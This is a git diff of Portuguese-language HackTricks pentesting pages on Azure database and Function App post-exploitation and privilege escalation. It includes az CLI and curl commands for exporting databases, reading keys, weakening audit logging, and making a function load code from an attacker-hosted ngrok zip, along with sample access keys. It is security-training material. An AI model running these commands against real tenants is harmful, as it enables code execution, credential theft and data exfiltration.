-Com esta permissão, você pode atualizar as configurações de um MySQL Flexible Server no Azure. Isso permite a personalização de parâmetros do servidor, como ajuste de desempenho, configurações de segurança ou configurações operacionais. Você pode atualizar os seguintes parâmetros juntos em um lote: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors e max_connections.
-
-{% code overflow="wrap" %}
+Com esta permissão, você pode atualizar as configurações de um servidor MySQL Flexível no Azure. Isso permite a personalização de parâmetros do servidor, como ajuste de desempenho, configurações de segurança ou configurações operacionais. Você pode atualizar os seguintes parâmetros juntos em um lote: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors e max_connections.
```bash
az mysql flexible-server parameter set-batch \
--resource-group \
--server-name \
--args max_connections=
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
-### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
-
-Com esta permissão, você pode atribuir uma identidade gerenciada atribuída a usuários aos servidores MySQL flexíveis.
-
-{% code overflow="wrap" %}
+Com esta permissão, você pode atribuir uma identidade gerenciada atribuída a usuários aos servidores flexíveis do MySQL.
```bash
az mysql flexible-server identity assign \
--resource-group \
--server-name \
--identity
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/stop/action"
+### `Microsoft.DBforMySQL/flexibleServers/stop/action`
Com esta permissão, você pode parar uma instância do PostgreSQL Flexible Server no Azure. Parar um servidor pode levar a uma interrupção temporária do serviço, afetando aplicativos e usuários dependentes do banco de dados.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server stop \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforMySQL/flexibleServers/start/action"
+### `Microsoft.DBforMySQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
-{% code overflow="wrap" %}
```bash
az mysql flexible-server start \
--name \
--resource-group
```
-{% endcode %}
-### "*/delete"
+### `*/delete`
With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
index fecc7a031..6bfc81ae6 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
@@ -5,54 +5,40 @@
## Pós-Exploração do Banco de Dados PostgreSQL
Para mais informações sobre o Banco de Dados PostgreSQL, consulte:
-{% content-ref url="../az-services/az-postgresql.md" %}
-[az-postgresql.md](../az-services/az-postgresql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-postgresql.md
+{{#endref}}
-### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
Com esta permissão, você pode criar novos bancos de dados dentro de uma instância do Postgres Flexible Server no Azure. Embora essa ação em si não modifique recursos existentes, a criação excessiva ou não autorizada de bancos de dados pode levar ao consumo de recursos ou ao potencial uso indevido do servidor.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server db create \
--server-name \
--resource-group \
--database-name
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
+### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
Com esta permissão, você pode iniciar a criação de backups para uma instância do Postgres Flexible Server no Azure. Isso permite que os usuários gerem backups sob demanda, o que pode ser útil para preservar dados em pontos específicos no tempo.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server backup create \
--name \
--resource-group
--backup-name
```
-{% endcode %}
+### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
-### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
-
-Com esta permissão, você pode configurar ou atualizar as configurações de Proteção Avançada contra Ameaças (ATP) para uma instância do Postgres Flexible Server no Azure. Isso permite habilitar ou desabilitar recursos de segurança projetados para detectar e responder a atividades anômalas e ameaças potenciais.
-
-{% code overflow="wrap" %}
+Com esta permissão, você pode configurar ou atualizar as configurações de Proteção Avançada contra Ameaças (ATP) para uma instância do Postgres Flexible Server no Azure. Isso permite habilitar ou desabilitar recursos de segurança projetados para detectar e responder a atividades anômalas e potenciais ameaças.
```bash
az postgres flexible-server threat-protection-policy update \
--name \
--resource-group \
--state
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
Com esta permissão, você pode criar ou modificar regras de firewall para uma instância do Postgres Flexible Server no Azure. Isso permite o controle sobre quais endereços IP ou intervalos podem acessar o servidor. O uso não autorizado ou inadequado dessa permissão pode expor o servidor a acessos indesejados ou maliciosos.
-
-{% code overflow="wrap" %}
```bash
# Create Rule
az postgres flexible-server firewall-rule create \
@@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \
--start-ip-address \
--end-ip-address
```
-{% endcode %}
+### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read`
-### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
-
-Com esta permissão, você pode atualizar as configurações de um servidor Postgres Flexible Server no Azure. Isso permite a personalização de parâmetros do servidor, como ajuste de desempenho, configurações de segurança ou configurações operacionais.
-
-{% code overflow="wrap" %}
+Com esta permissão, você pode atualizar as configurações de configuração de uma instância do Postgres Flexible Server no Azure. Isso permite a personalização de parâmetros do servidor, como ajuste de desempenho, configurações de segurança ou configurações operacionais.
```bash
az postgres flexible-server parameter set \
--resource-group \
@@ -84,45 +66,36 @@ az postgres flexible-server parameter set \
--name \
--value
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action`
Com esta permissão, você pode parar uma instância do PostgreSQL Flexible Server no Azure. Parar um servidor pode levar a uma interrupção temporária do serviço, afetando aplicativos e usuários dependentes do banco de dados.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server stop \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
-{% code overflow="wrap" %}
```bash
az postgres flexible-server start \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
-{% code overflow="wrap" %}
```bash
az postgres flexible-server identity assign \
--resource-group \
--server-name \
--identity
```
-{% endcode %}
-### "*/delete"
+### `*/delete`
With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
index f3a7cfb1a..bfc0ef87b 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
@@ -1,18 +1,18 @@
-# Az - SQL Database Pós Exploração
+# Az - SQL Database Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
-## Pós Exploração de Banco de Dados SQL
+## SQL Database Post Exploitation
-Para mais informações sobre Banco de Dados SQL, consulte:
+Para mais informações sobre SQL Database, consulte:
{{#ref}}
../az-services/az-sql.md
{{#endref}}
-### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
+### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`
-Com essas permissões, um atacante pode criar e atualizar bancos de dados dentro do ambiente comprometido. Essa atividade de pós-exploração pode permitir que um atacante adicione dados maliciosos, modifique configurações de banco de dados ou insira backdoors para maior persistência, potencialmente interrompendo operações ou permitindo ações maliciosas adicionais.
+Com essas permissões, um atacante pode criar e atualizar bancos de dados dentro do ambiente comprometido. Esta atividade de pós-exploração pode permitir que um atacante adicione dados maliciosos, modifique configurações de banco de dados ou insira backdoors para maior persistência, potencialmente interrompendo operações ou permitindo ações maliciosas adicionais.
```bash
# Create Database
az sql db create --resource-group --server --name
@@ -20,9 +20,9 @@ az sql db create --resource-group --server --name
# Update Database
az sql db update --resource-group --server --name --max-size
```
-### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
+### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`
-Com essas permissões, um atacante pode criar e atualizar elasticPools dentro do ambiente comprometido. Essa atividade de pós-exploração pode permitir que um atacante adicione dados maliciosos, modifique configurações de banco de dados ou insira backdoors para maior persistência, potencialmente interrompendo operações ou permitindo ações maliciosas adicionais.
+Com essas permissões, um atacante pode criar e atualizar elasticPools dentro do ambiente comprometido. Esta atividade de pós-exploração pode permitir que um atacante adicione dados maliciosos, modifique configurações de banco de dados ou insira backdoors para maior persistência, potencialmente interrompendo operações ou permitindo ações maliciosas adicionais.
```bash
# Create Elastic Pool
az sql elastic-pool create \
@@ -40,9 +40,9 @@ az sql elastic-pool update \
--dtu \
--tags
```
-### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
+### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`
-Com essa permissão, você pode modificar ou habilitar as configurações de auditoria em um Azure SQL Server. Isso pode permitir que um atacante ou usuário autorizado manipule as configurações de auditoria, potencialmente encobrindo rastros ou redirecionando os logs de auditoria para um local sob seu controle. Isso pode dificultar a monitorização de segurança ou permitir que ela acompanhe as ações. NOTA: Para habilitar a auditoria para um Azure SQL Server usando Blob Storage, você deve anexar uma conta de armazenamento onde os logs de auditoria podem ser salvos.
+Com esta permissão, você pode modificar ou habilitar as configurações de auditoria em um Azure SQL Server. Isso pode permitir que um atacante ou usuário autorizado manipule as configurações de auditoria, potencialmente encobrindo rastros ou redirecionando os logs de auditoria para um local sob seu controle. Isso pode dificultar a monitorização de segurança ou permitir que ela acompanhe as ações. NOTA: Para habilitar a auditoria para um Azure SQL Server usando Blob Storage, você deve anexar uma conta de armazenamento onde os logs de auditoria podem ser salvos.
```bash
az sql server audit-policy update \
--server \
@@ -51,16 +51,16 @@ az sql server audit-policy update \
--storage-account \
--retention-days 7
```
-### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
+### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write`
-Com essa permissão, você pode modificar as políticas de conexão de um Azure SQL Server. Essa capacidade pode ser explorada para habilitar ou alterar configurações de conexão em nível de servidor.
+Com esta permissão, você pode modificar as políticas de conexão de um Azure SQL Server. Essa capacidade pode ser explorada para habilitar ou alterar as configurações de conexão em nível de servidor.
```bash
az sql server connection-policy update \
--server \
--resource-group \
--connection-type
```
-### "Microsoft.Sql/servers/databases/export/action"
+### `Microsoft.Sql/servers/databases/export/action`
Com esta permissão, você pode exportar um banco de dados de um Azure SQL Server para uma conta de armazenamento. Um atacante ou usuário autorizado com essa permissão pode exfiltrar dados sensíveis do banco de dados exportando-o para um local que eles controlam, representando um risco significativo de violação de dados. É importante conhecer a chave de armazenamento para poder realizar isso.
```bash
@@ -74,7 +74,7 @@ az sql db export \
--admin-password
```
-### "Microsoft.Sql/servers/databases/import/action"
+### `Microsoft.Sql/servers/databases/import/action`
Com esta permissão, você pode importar um banco de dados para um Azure SQL Server. Um atacante ou usuário autorizado com essa permissão pode potencialmente fazer upload de bancos de dados maliciosos ou manipulados. Isso pode levar ao controle sobre dados sensíveis ou à incorporação de scripts ou gatilhos prejudiciais dentro do banco de dados importado. Além disso, você pode importá-lo para seu próprio servidor no Azure. Nota: O servidor deve permitir que serviços e recursos do Azure acessem o servidor.
```bash
@@ -85,6 +85,6 @@ az sql db import --admin-user \
--resource-group \
--storage-key-type SharedAccessKey \
--storage-key \
---storage-uri "https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
+--storage-uri `https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
```
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
index 832f3ce9c..27511ed84 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
@@ -3,17 +3,15 @@
{{#include ../../../banners/hacktricks-training.md}}
## CosmosDB Privesc
-Para mais informações sobre o SQL Database, consulte:
+Para mais informações sobre SQL Database, consulte:
-{% content-ref url="../az-services/az-cosmosDB.md" %}
-[az-cosmosDB.md](../az-services/az-cosmosDB.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-cosmosDB.md
+{{#endref}}
-### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
+### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
Com essas permissões, você pode escalar privilégios, concedendo a um usuário as permissões para executar consultas e conectar-se ao banco de dados. Primeiro, um papel de definição é criado, concedendo as permissões e escopos necessários.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql role definition create \
--account-name \
@@ -36,11 +34,7 @@ az cosmosdb sql role definition create \
]
}'
```
-{% endcode %}
-
Após isso, a atribuição da definição é dada a um usuário. Depois disso, esse usuário pode usar o método de conexão DefaultAzureCredential() para executar consultas.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql role assignment create \
--account-name \
@@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \
--principal-id \
--scope "/"
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
+### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
Com esta permissão, você pode recuperar as chaves primária e secundária para uma conta do Azure Cosmos DB. Essas chaves fornecem acesso total à conta do banco de dados e seus recursos, permitindo ações como leituras, gravações de dados e alterações de configuração.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb keys list \
--name \
--resource-group
```
-{% endcode %}
-
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
index 17f4e7ef0..b4bee7b3a 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
@@ -10,17 +10,17 @@ Verifique a página a seguir para mais informações:
../az-services/az-function-apps.md
{{#endref}}
-### Leitura/Gravação de Bucket
+### Leitura/Escrita de Bucket
Com permissões para ler os contêineres dentro da Conta de Armazenamento que armazena os dados da função, é possível encontrar **diferentes contêineres** (personalizados ou com nomes pré-definidos) que podem conter **o código executado pela função**.
-Uma vez que você encontra onde o código da função está localizado, se você tiver permissões de gravação sobre ele, pode fazer a função executar qualquer código e escalar privilégios para as identidades gerenciadas anexadas à função.
+Uma vez que você encontra onde o código da função está localizado, se você tiver permissões de escrita sobre ele, pode fazer a função executar qualquer código e escalar privilégios para as identidades gerenciadas anexadas à função.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` e `WEBSITE_CONTENTSHARE`)
O código da função geralmente é armazenado dentro de um compartilhamento de arquivos. Com acesso suficiente, é possível modificar o arquivo de código e **fazer a função carregar código arbitrário**, permitindo escalar privilégios para as identidades gerenciadas anexadas à Função.
-Esse método de implantação geralmente configura as configurações **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** e **`WEBSITE_CONTENTSHARE`** que você pode obter de
+Esse método de implantação geralmente configura as configurações **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** e **`WEBSITE_CONTENTSHARE`** que você pode obter de
```bash
az functionapp config appsettings list \
--name \
@@ -55,14 +55,14 @@ az functionapp config appsettings list \
--name \
--resource-group
```
-Esta configuração geralmente conterá uma **SAS URL para download** do código da Conta de Armazenamento.
+Esta configuração geralmente conterá uma **URL SAS para download** do código da Conta de Armazenamento.
> [!CAUTION]
> Com permissões suficientes para se conectar ao contêiner de blob que **contém o código em zip**, é possível executar código arbitrário na Função e escalar privilégios.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
-Assim como no caso anterior, se a implantação for feita via Github Actions, é possível encontrar a pasta **`github-actions-deploy`** na Conta de Armazenamento contendo um zip do código e uma SAS URL para o zip na configuração `WEBSITE_RUN_FROM_PACKAGE`.
+Assim como no caso anterior, se a implantação for feita via Github Actions, é possível encontrar a pasta **`github-actions-deploy`** na Conta de Armazenamento contendo um zip do código e uma URL SAS para o zip na configuração `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` e `WEBSITE_CONTENTSHARE`)
@@ -116,7 +116,7 @@ az storage blob upload \
--file /tmp/scm-latest-.zip \
--overwrite
```
-### Microsoft.Web/sites/host/listkeys/action
+### `Microsoft.Web/sites/host/listkeys/action`
Esta permissão permite listar as chaves de função, mestre e sistema, mas não a chave do host, da função especificada com:
```bash
@@ -143,19 +143,19 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
-H "If-Match: *" \
-v
```
-### Microsoft.Web/sites/functions/listKeys/action
+### `Microsoft.Web/sites/functions/listKeys/action`
Esta permissão permite obter a chave do host da função especificada com:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01"
```
-### Microsoft.Web/sites/host/functionKeys/write
+### `Microsoft.Web/sites/host/functionKeys/write`
Esta permissão permite criar/atualizar uma chave de função da função especificada com:
```bash
az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
-### Microsoft.Web/sites/host/masterKey/write
+### `Microsoft.Web/sites/host/masterKey/write`
Esta permissão permite criar/atualizar uma chave mestra para a função especificada com:
```bash
@@ -164,13 +164,13 @@ az functionapp keys set --resource-group --key-name --key
> [!CAUTION]
> Lembre-se de que com esta chave você também pode acessar o código-fonte e modificá-lo, conforme explicado anteriormente!
-### Microsoft.Web/sites/host/systemKeys/write
+### `Microsoft.Web/sites/host/systemKeys/write`
Esta permissão permite criar/atualizar uma chave de função do sistema para a função especificada com:
```bash
az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
-### Microsoft.Web/sites/config/list/action
+### `Microsoft.Web/sites/config/list/action`
Esta permissão permite obter as configurações de uma função. Dentro dessas configurações, pode ser possível encontrar os valores padrão **`AzureWebJobsStorage`** ou **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** que contêm uma **chave de conta para acessar o blob storage da função com permissões COMPLETAS**.
```bash
@@ -181,9 +181,9 @@ Além disso, essa permissão também permite obter o **nome de usuário e senha
az rest --method POST \
--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01"
```
-### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
+### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
-Essas permissões permitem listar os valores de configuração de uma função, como vimos antes, além de **modificar esses valores**. Isso é útil porque essas configurações indicam onde o código a ser executado dentro da função está localizado.
+Essas permissões permitem listar os valores de configuração de uma função, como vimos antes, além de **modificar esses valores**. Isso é útil porque essas configurações indicam onde o código a ser executado dentro da função está localizado.
Portanto, é possível definir o valor da configuração **`WEBSITE_RUN_FROM_PACKAGE`** apontando para um arquivo zip de URL contendo o novo código a ser executado dentro de uma aplicação web:
@@ -205,7 +205,7 @@ ngrok http 8000
```
- Modifique a função, mantenha os parâmetros anteriores e adicione no final a configuração **`WEBSITE_RUN_FROM_PACKAGE`** apontando para a URL com o **zip** contendo o código.
-O seguinte é um exemplo das minhas **próprias configurações que você precisará alterar os valores para os seus**, note no final os valores `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, onde eu estava hospedando o aplicativo.
+O seguinte é um exemplo das **minhas próprias configurações que você precisará alterar os valores para os seus**, note no final os valores `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, é aqui que eu estava hospedando o aplicativo.
```bash
# Modify the function
az rest --method PUT \
@@ -213,9 +213,9 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```
-### Microsoft.Web/sites/hostruntime/vfs/write
+### `Microsoft.Web/sites/hostruntime/vfs/write`
-Com essa permissão, é **possível modificar o código de uma aplicação** através do console da web (ou através do seguinte endpoint da API):
+Com esta permissão, é **possível modificar o código de uma aplicação** através do console da web (ou através do seguinte endpoint da API):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -224,7 +224,7 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
```
-### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
+### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Esta permissão permite listar todos os perfis de publicação que basicamente contêm **credenciais de autenticação básica**:
```bash
@@ -240,7 +240,7 @@ az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
-- Se as credenciais de **REDACTED**
+- Se as credenciais estão **REDACTED**
Se você ver que essas credenciais estão **REDACTED**, é porque você **precisa habilitar a opção de autenticação básica do SCM** e para isso você precisa da segunda permissão (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
@@ -264,7 +264,7 @@ az rest --method PUT \
```
- **Método SCM**
-Então, você pode acessar com essas **credenciais de autenticação básica para a URL do SCM** do seu aplicativo de função e obter os valores das variáveis de ambiente:
+Então, você pode acessar com essas **credenciais de autenticação básica na URL do SCM** do seu aplicativo de função e obter os valores das variáveis de ambiente:
```bash
# Get settings values
curl -u ':' \
@@ -297,38 +297,29 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
-_Note que o **nome de usuário FTP** geralmente está no formato \\\$\._
+_Observe que o **nome de usuário FTP** geralmente está no formato \\\$\._
-### Microsoft.Web/sites/publish/Action
-
-De acordo com [**a documentação**](https://github.com/projectkudu/kudu/wiki/REST-API#command), esta permissão permite **executar comandos dentro do servidor SCM**, o que pode ser usado para modificar o código-fonte da aplicação:
-```bash
-az rest --method POST \
---resource "https://management.azure.com/" \
---url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
---body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
-```
-### Microsoft.Web/sites/hostruntime/vfs/read
+### `Microsoft.Web/sites/hostruntime/vfs/read`
Esta permissão permite **ler o código-fonte** do aplicativo através do VFS:
```bash
az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
-### Microsoft.Web/sites/functions/token/action
+### `Microsoft.Web/sites/functions/token/action`
-Com esta permissão, é possível [obter o **token de admin**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que pode ser usado posteriormente para recuperar a **chave mestra** e, portanto, acessar e modificar o código da função:
+Com esta permissão, é possível [obter o **token de admin**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que pode ser usado posteriormente para recuperar a **chave mestra** e, portanto, acessar e modificar o código da função.
+
+No entanto, nas minhas últimas verificações, nenhum token foi retornado, então pode estar desativado ou não funcionando mais, mas aqui está como você faria isso:
```bash
# Get admin token
-az rest --method POST \
---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \
---headers '{"Content-Type": "application/json"}' \
---debug
+az rest --method GET \
+--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer "
```
-### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
+### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Esta permissão permite **ativar funções** que podem estar desativadas (ou desativá-las).
```bash
@@ -342,7 +333,7 @@ Também é possível ver se uma função está habilitada ou desabilitada na seg
```bash
az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01"
```
-### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
+### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Com essas permissões, é possível **modificar o contêiner executado por um aplicativo de função** configurado para executar um contêiner. Isso permitiria que um atacante enviasse um aplicativo de contêiner de função malicioso para o docker hub (por exemplo) e fizesse a função executá-lo.
```bash
@@ -350,9 +341,9 @@ az functionapp config container set --name \
--resource-group \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
```
